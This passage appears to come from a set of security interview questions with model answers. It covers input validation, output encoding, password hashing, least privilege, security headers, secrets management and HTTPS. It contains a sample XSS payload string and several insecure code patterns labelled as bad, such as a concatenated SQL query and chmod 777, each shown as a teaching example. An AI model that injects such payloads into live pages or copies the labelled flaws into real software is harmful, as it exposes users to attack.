    if (age < 0 || age > 150) throw new IllegalArgumentException();
    this.age = age;
}

4. Length Limits:

@Size(max = 1000)
private String description;

// Prevent DoS
if (input.length() > MAX_LENGTH) reject();

5. Format Validation:

// Email
@Email
private String email;

// Custom pattern
@Pattern(regexp = "^\\d{3}-\\d{3}-\\d{4}$")
private String phone;

// URL
try {
    new URL(urlString);  // Validates URL format
} catch (MalformedURLException e) {
    reject();
}

6. Range Validation:

@Min(0)
@Max(100)
private Integer percentage;

@DecimalMin("0.01")
@DecimalMax("1000000.00")
private BigDecimal price;

7. Sanitization:

// Remove dangerous content
String clean = Jsoup.clean(html, Whitelist.basic());

// Encode for output
String safe = HtmlUtils.htmlEscape(input);

8. Canonical Form:

// Normalize before validation
String normalized = Normalizer.normalize(input, Form.NFC);
String trimmed = input.trim().toLowerCase();

Validation vs Sanitization:

Validation: Accept or reject (email format check)
Sanitization: Clean and transform (remove HTML tags)

Key Points to Look For:
- Server-side validation required
- Whitelist approach
- Uses framework validation

Follow-up: When would you sanitize vs reject invalid input?

20.

Output encoding vs input validation

What's the difference between input validation and output encoding?

Mid

Input Validation:
Check if input meets expected criteria. Accept or reject.

// Validate email format
if (!email.matches("^[\\w.]+@[\\w.]+\\.[a-z]{2,}$")) {
    throw new ValidationException("Invalid email");
}

// Validate within range
if (age < 0 || age > 150) {
    throw new ValidationException("Invalid age");
}

Output Encoding:
Transform output to be safe in specific context.

// Same input, different encoding for different contexts

String userInput = "<script>alert('xss')</script>";

// HTML context
String htmlSafe = HtmlUtils.htmlEscape(userInput);
// Result: &lt;script&gt;alert('xss')&lt;/script&gt;

// JavaScript context
String jsSafe = "var x = '" + JavaScriptUtils.javaScriptEscape(userInput) + "'";
// Result: var x = '\x3Cscript\x3Ealert(\x27xss\x27)\x3C\/script\x3E'

// URL context
String urlSafe = URLEncoder.encode(userInput, "UTF-8");
// Result: %3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E

When to Use:

Input Validation:
- At entry points
- Reject invalid data early
- Business rules

Output Encoding:
- When displaying data
- Different encoding per context
- Doesn't reject, transforms

Both Together:

@PostMapping("/comment")
public void addComment(@Valid @RequestBody CommentDTO dto) {
    // Input validation: Ensure reasonable length, no profanity
    validator.validate(dto);

    // Store as-is
    commentRepo.save(dto.toEntity());
}

// Template (output encoding)
<div th:text="${comment.text}">  <!-- Auto-escaped by Thymeleaf -->

Why Both:

Input validation alone: Can't predict all contexts
Output encoding alone: Bad data stored in database

Together:
- Validation: Quality control, business rules
- Encoding: Security in each context

Encoding Contexts:

HTML body:     &lt; &gt; &amp;
HTML attribute: &#x22; &#x27;
JavaScript:    \x3C \x3E
URL:           %3C %3E
CSS:           \3C \3E

Key Points to Look For:
- Knows both are needed
- Understands context-specific encoding
- Doesn't rely on only one

Follow-up: What happens if you encode for wrong context?


Security Practices

21.

Secure password storage (hashing, salting)

How should passwords be stored securely?

Mid

Never Store Plain Text:

// NEVER
user.setPassword(plainPassword);  // Disaster!

Hashing:
One-way transformation. Can't reverse.

// Better, but not enough
String hash = sha256(password);
// Problem: Same password = same hash (rainbow tables)

Salting:
Add random data before hashing.

// Good
String salt = generateRandomSalt();  // Unique per user
String hash = sha256(salt + password);
// Store both salt and hash

Best Practice - bcrypt/Argon2:

// Best - use purpose-built algorithms
// bcrypt
String hash = BCrypt.hashpw(password, BCrypt.gensalt(12));

// Verify
boolean valid = BCrypt.checkpw(inputPassword, storedHash);

// Argon2 (newer, recommended)
Argon2PasswordEncoder encoder = new Argon2PasswordEncoder();
String hash = encoder.encode(password);
boolean valid = encoder.matches(inputPassword, hash);

Why bcrypt/Argon2:
1. Built-in salt
2. Configurable cost (slower = harder to crack)
3. Designed for passwords (not general hashing)

Password Storage:

@Entity
public class User {
    // Store the hash, not password
    @Column(length = 100)
    private String passwordHash;

    // Salt included in bcrypt hash
    // No separate salt column needed
}

Spring Security:

@Bean
public PasswordEncoder passwordEncoder() {
    return new BCryptPasswordEncoder(12);  // Cost factor 12
}

// Usage
String hash = passwordEncoder.encode("password123");
boolean match = passwordEncoder.matches("password123", hash);

Do NOT:

// Don't use fast algorithms
MD5(password)      // Too fast, broken
SHA256(password)   // Too fast, no salt
encrypt(password)  // Encryption is reversible!

Cost Factor:

Cost 10: ~100ms to hash (good for 2020)
Cost 12: ~250ms to hash (recommended)
Cost 14: ~1s to hash (high security)

Higher = slower to crack, but also slower to verify

Key Points to Look For:
- Never plain text
- Uses bcrypt/Argon2
- Understands salting

Follow-up: How do you handle password policy requirements?

22.

Principle of Least Privilege

What is the Principle of Least Privilege?

Junior

Principle of Least Privilege:
Give minimum permissions needed to perform a task.

Examples:

Database Users:

-- Bad: Application uses root
GRANT ALL PRIVILEGES ON *.* TO 'app'@'localhost';

-- Good: Specific permissions
GRANT SELECT, INSERT, UPDATE ON app_db.users TO 'app'@'localhost';
GRANT SELECT ON app_db.products TO 'app'@'localhost';
-- No DELETE on critical tables

File Permissions:

# Bad
chmod 777 /var/www/app

# Good
chmod 750 /var/www/app
chown www-data:www-data /var/www/app

API Tokens:

# Bad: Full access token
token: full_admin_access

# Good: Scoped token
token: read_only_users
scopes:
  - users:read
  - orders:read

User Roles:

// Bad: Everyone is admin
if (user.isLoggedIn()) {
    allowAll();
}

// Good: Role-based access
@PreAuthorize("hasRole('ADMIN')")
public void deleteUser(Long id) { }

@PreAuthorize("hasRole('USER')")
public void viewProfile(Long id) { }

Container Security:

# Bad: Run as root
USER root

# Good: Non-root user
RUN adduser --disabled-password appuser
USER appuser

Benefits:
1. Limits breach damage - Compromised account has limited access
2. Reduces attack surface - Fewer ways to exploit
3. Audit trail - Clear who can do what
4. Compliance - Required by many standards

Implementation:
1. Start with no permissions
2. Add only what's needed
3. Regular access review
4. Time-limited access for sensitive operations

Key Points to Look For:
- Understands the principle
- Can give practical examples
- Mentions regular review

Follow-up: How do you handle emergency access needs?

23.

Security headers (CSP, HSTS, etc.)

What security headers should web applications use?

Mid

Essential Security Headers:

1. Content-Security-Policy (CSP):

Content-Security-Policy: default-src 'self';
                         script-src 'self' 'nonce-abc123';
                         style-src 'self' 'unsafe-inline';
                         img-src 'self' data: https:;
                         frame-ancestors 'none'

Prevents XSS, clickjacking.

2. Strict-Transport-Security (HSTS):

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Forces HTTPS.

3. X-Content-Type-Options:

X-Content-Type-Options: nosniff

Prevents MIME type sniffing.

4. X-Frame-Options:

X-Frame-Options: DENY

Prevents clickjacking.

5. X-XSS-Protection:

X-XSS-Protection: 1; mode=block

Legacy XSS filter (CSP is better).

6. Referrer-Policy:

Referrer-Policy: strict-origin-when-cross-origin

Controls referrer information.

7. Permissions-Policy:

Permissions-Policy: geolocation=(), camera=(), microphone=()

Restricts browser features.

Spring Security:

@Bean
SecurityFilterChain filterChain(HttpSecurity http) {
    http.headers(headers -> headers
        .contentSecurityPolicy(csp -> csp
            .policyDirectives("default-src 'self'"))
        .httpStrictTransportSecurity(hsts -> hsts
            .maxAgeInSeconds(31536000)
            .includeSubDomains(true))
        .frameOptions(frame -> frame.deny())
    );
    return http.build();
}

Express.js (Helmet):

const helmet = require('helmet');
app.use(helmet());  // Sets all security headers

// Custom CSP
app.use(helmet.contentSecurityPolicy({
    directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'", "'nonce-abc123'"],
    }
}));

Testing:

# Check headers
curl -I https://example.com

# Use securityheaders.com for analysis

Key Points to Look For:
- Knows main headers
- Can configure CSP
- Mentions HSTS

Follow-up: How do you implement CSP in a legacy application?

24.

Secrets management

How should application secrets be managed?

Mid

Never in Code:

// NEVER
private static final String API_KEY = "sk_live_abc123";
private static final String DB_PASSWORD = "password123";

Environment Variables:

# Better
export DATABASE_URL="postgres://user:pass@host/db"
export API_KEY="sk_live_abc123"
String apiKey = System.getenv("API_KEY");

Secrets Manager (Best):

// AWS Secrets Manager
SecretsManagerClient client = SecretsManagerClient.create();
GetSecretValueResponse response = client.getSecretValue(
    GetSecretValueRequest.builder()
        .secretId("prod/myapp/database")
        .build()
);
String dbPassword = response.secretString();

// HashiCorp Vault
VaultTemplate vault = new VaultTemplate(vaultEndpoint, clientAuth);
VaultResponse response = vault.read("secret/data/myapp");
String apiKey = response.getData().get("api_key");

Spring Boot:

# application.yml
spring:
  datasource:
    password: ${DB_PASSWORD}  # From environment
    # Or Spring Cloud Vault integration

Kubernetes Secrets:

apiVersion: v1
kind: Secret
metadata:
  name: app-secrets
type: Opaque
data:
  db-password: cGFzc3dvcmQxMjM=  # base64 encoded
---
# Pod using secret
env:
  - name: DB_PASSWORD
    valueFrom:
      secretKeyRef:
        name: app-secrets
        key: db-password

Best Practices:

1. Rotation:

Schedule regular rotation
Automate rotation process
Support multiple active versions during transition

2. Access Control:

Principle of least privilege
Audit who accessed secrets
Time-limited access

3. Encryption:

Encrypt at rest
Encrypt in transit
Use envelope encryption

4. No Secrets in:

- Source code
- Git history
- Docker images
- Logs
- Error messages

Key Points to Look For:
- Never in code/git
- Uses secrets manager
- Mentions rotation

Follow-up: How do you handle secrets in local development?

25.

HTTPS everywhere: why it matters

Why is HTTPS important even for non-sensitive pages?

Junior

HTTPS Everywhere:
All pages, not just login/payment.

Why:

1. Session Hijacking:

HTTP: Cookie sent in clear text
Attacker on WiFi: Captures session cookie
Result: Attacker impersonates user

Even if login is HTTPS, HTTP pages leak session

2. Content Injection:

HTTP: ISP can inject ads
Attacker: Can inject malicious scripts
HTTPS: Content cannot be modified

3. Privacy:

HTTP: URLs visible to network
- /search?q=medical+condition
- /products/embarrassing-item

HTTPS: Only domain visible (SNI)

4. SEO:

Google ranks HTTPS higher
Chrome shows "Not Secure" for HTTP

5. Modern Features:

Service Workers: HTTPS only
Geolocation: HTTPS only
Camera/Microphone: HTTPS only
HTTP/2: Effectively HTTPS only

6. Trust:

Users expect padlock
HTTP looks suspicious

Implementation:

# Redirect HTTP to HTTPS
server {
    listen 80;
    return 301 https://$host$request_uri;
}

server {
    listen 443 ssl;
    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
}

HSTS (Prevent Downgrade):

Strict-Transport-Security: max-age=31536000; includeSubDomains

Mixed Content:

<!-- Bad: HTTP resource on HTTPS page -->
<img src="http://example.com/image.jpg">

<!-- Good: Protocol-relative or HTTPS -->
<img src="https://example.com/image.jpg">
<img src="//example.com/image.jpg">

Key Points to Look For:
- Knows multiple reasons
- Mentions session hijacking
- Understands mixed content

Follow-up: How does HSTS preloading work?

26.

Security code review checklist

What do you look for in a security-focused code review?

Senior

Security Code Review Checklist:

1. Input Validation:

□ All input validated server-side
□ Whitelist validation preferred
□ Length limits enforced
□ Type checking present
□ Encoding/format validated

2. Output Encoding:

□ HTML encoding for web output
□ Context-appropriate encoding (JS, URL, CSS)
□ Template auto-escaping enabled
□ No raw HTML rendering of user input

3. Authentication:

□ Passwords hashed with bcrypt/Argon2
□ No hardcoded credentials
□ Session management secure
□ Multi-factor where appropriate
□ Account lockout implemented

4. Authorization:

□ Access control on every endpoint
□ Principle of least privilege
□ No direct object references without checks
□ Role checks can't be bypassed

5. Data Protection:

□ Sensitive data encrypted at rest
□ TLS for data in transit
□ No sensitive data in URLs
□ No sensitive data in logs
□ Proper data classification

6. SQL/Injection:

□ Parameterized queries used
□ No string concatenation in queries
□ ORM used correctly
□ Command injection prevented

7. Dependencies:

□ No known vulnerabilities
□ Dependencies up to date
□ Minimal dependencies
□ Lock file present

8. Error Handling:

□ No stack traces to users
□ Generic error messages
□ Errors logged securely
□ Fail securely (deny by default)

9. Cryptography:

□ No custom crypto algorithms
□ Strong algorithms used (AES-256, RSA-2048+)
□ Secure random number generation
□ Keys stored securely

10. Configuration:

□ Secrets not in code
□ Debug mode disabled
□ Security headers configured
□ CORS properly configured

Review Example:

// Found during review:
String query = "SELECT * FROM users WHERE id = " + userId;
// Issue: SQL Injection
// Fix: Use parameterized query

// Found:
log.info("User login: " + user.getEmail() + ", password: " + password);
// Issue: Logging sensitive data
// Fix: Remove password from logs

Key Points to Look For:
- Comprehensive checklist
- Prioritizes critical issues
- Provides fixes, not just findings

Follow-up: How do you integrate security into CI/CD?